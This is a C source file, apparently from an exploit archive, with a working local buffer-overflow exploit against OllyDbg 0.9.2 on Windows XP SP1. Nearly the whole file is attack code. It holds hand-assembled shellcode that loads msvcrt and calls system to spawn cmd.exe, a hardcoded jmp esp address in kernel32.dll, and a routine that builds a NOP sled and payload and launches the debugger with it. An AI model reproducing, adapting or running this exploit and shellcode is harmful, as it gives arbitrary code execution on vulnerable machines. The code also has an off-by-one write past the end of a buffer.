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C/C++ Source or Header  |  2005-02-12  |  4KB  |  94 lines
  1. /* Ollydbg 0.9.2 exploit, This can be grabbed from http://sh0dan.org/files/ollyexploit.c
  2.    Very lame, just getting the hang of this win32 stuff 
  3.    Ollydbg is vulnerable to a buffer overflow when a valid program is passed 
  4.    with a large argv[], this made debugging other local overflows, well trouble some
  5.    so i thought i'd write a little exploit for it, this is what happens when you have
  6.    too much free time... Shellcode is my own, not optimized i need to figure out 
  7.    how to push the full msvcrt and cmd.exe string to the stack (i created this shellcode using
  8.    visual c++ __asm( so eh. yeh. This exploit will only work on WinXP SP1 due to hardcoding the 
  9.    jmpesp in kernel32.dll and the shellcode addresses are hardcoded for xp sp1. 
  10.    take a peek at http://sh0dan.org/files/llacmd.txt for win2ksp3 shellcode. 
  11.    Ollydbg can be downloaded from: http://home.t-online.de/home/Ollydbg/ if you're curious.
  12.    -wire
  13.    shouts to my kittens.
  14.    */
  15. #include <windows.h>
  16. #include <stdio.h>
  17. #include <string.h>
  18. char shellcizode[] = 
  19.                      "\x55"                    // push ebp
  20.                      "\x8b\xec"                // mov ebp, esp
  21.                      "\x53"                    // push ebx
  22.                      "\x56"                    // push esi
  23.                      "\x57"                    // push edi
  24.                      "\x8b\xe5"                // mov esp, ebp                
  25.                      "\x55"                    // push ebp
  26.                      "\x8b\xec"                // mov ebp, esp
  27.                      "\x33\xff"                // xor edi,edi
  28.                      "\x57"                    // push edi
  29.                      "\x57"                    // push edi
  30.                      "\xc6\x45\xf8\x6d"            // mov byte ptr ss:[ebp-8],6d
  31.                      "\xc6\x45\xf9\x73"            // mov byte ptr ss:[ebp-7],73
  32.                      "\xc6\x45\xfa\x76"            // mov byte ptr ss:[ebp-6],76
  33.                      "\xc6\x45\xfb\x63"            // mov byte ptr ss:[ebp-5],63
  34.                      "\xc6\x45\xfc\x72"            // mov byte ptr ss:[ebp-4],72
  35.                      "\xc6\x45\xfd\x74"            // mov byte ptr ss:[ebp-3],74
  36.                      "\xb8\x61\xd9\xe7\x77"         // mov eax,kernel32.loadlibraryA; remember the address is put on inverted...
  37.                      "\x50"                    // push eax
  38.                      "\x8d\x45\xf8"                // lea eax, dword ptr ss:[ebp-8]
  39.                      "\x50"                    // push eax
  40.                      "\xff\x55\xf4"                // call dword ptr ss:[ebp-c]
  41.                      "\x58"                    // pop eax
  42.                      "\x58"                    // pop eax
  43.                      "\x58"                    // pop eax
  44.                      "\x33\xc0"                // xor eax,eax
  45.                      "\x50"                    // push eax
  46.                      "\x50"                    // push eax
  47.                      "\xc6\x45\xf8\x63"            // mov byte ptr ss:[ebp-8],63
  48.                      "\xc6\x45\xf9\x6d"            // mov byte ptr ss:[ebp-7],6d
  49.                      "\xc6\x45\xfa\x64"            // mov byte ptr ss:[ebp-6],64
  50.                      "\xc6\x45\xfb\x2e"            // mov byte ptr ss:[ebp-5],2e
  51.                      "\xc6\x45\xfc\x65"            // mov byte ptr ss:[ebp-4],65
  52.                      "\xc6\x45\xfd\x78"            // mov byte ptr ss:[ebp-3],78
  53.                      "\xc6\x45\xfe\x65"            // mov byte ptr ss:[ebp-2],65
  54.                      "\xb8\x44\x80\xc2\x77"            // mov eax, 77c28044; addy of system() from msvcrt in xp sp1
  55.                      "\x50"                    // push eax
  56.                      "\x8d\x45\xf8"                // lea eax, dword ptr ss:[ebp-8]
  57.                      "\x50"                    // push eax
  58.                      "\xff\x55\xf4"                // call dword ptr ss:[ebp-c]
  59.                      "\x83\xc4\x04"                // add esp, 04h
  60.                      "\x5c"                    // pop esp
  61.                      "\xc3";                // ret            we're done!
  62.  
  63. int main(int argc, char **argv) {
  64.     char exp_buff[1024];
  65.     int x;
  66.     char ollyfile[100];
  67.     char hehbuf[200];
  68.     DWORD jmpesp = 0x77E9AE59; // from kernel32.dll XP sp1
  69.  
  70.     if (argc != 2) {
  71.         fprintf(stderr, "heh: %s <path to olly>\n", argv[0]);
  72.         exit(1);
  73.     }
  74.     strncpy(ollyfile, argv[1], 99);
  75.     ollyfile[100] = 0x00;
  76.     
  77.     x = strlen(ollyfile) * 2; // each character changes where the return is by 2 characters due to it being passed once to
  78.                               // call the program and the other for calling itself C:\olly\ollydbg.exe C:\olly\ollydbg.exe ..
  79.     memset(exp_buff, 0x90, 1024); //set our buff to nops...
  80.     
  81.     sprintf(hehbuf, "%s %s ", ollyfile, ollyfile); // C:\ollydbg.exe C:\ollydbg...
  82.  
  83.     memcpy(exp_buff, hehbuf, strlen(hehbuf)); 
  84.  
  85.     memcpy(exp_buff+511+x, &jmpesp, 4); // C:\ollydbg.exe C:\ollydbg.exe NOPx511+x
  86.  
  87.     memcpy(exp_buff+518+x, &shellcizode, 105); // And our shellcode.
  88.     exp_buff[700] = 0x00; // null it so we're passing a valid string.
  89.     //fprintf(stderr, "%s", exp_buff); //debugging heh
  90.     
  91.     WinExec(exp_buff, SW_SHOW); //execute....
  92.     return(0);
  93. }
  94.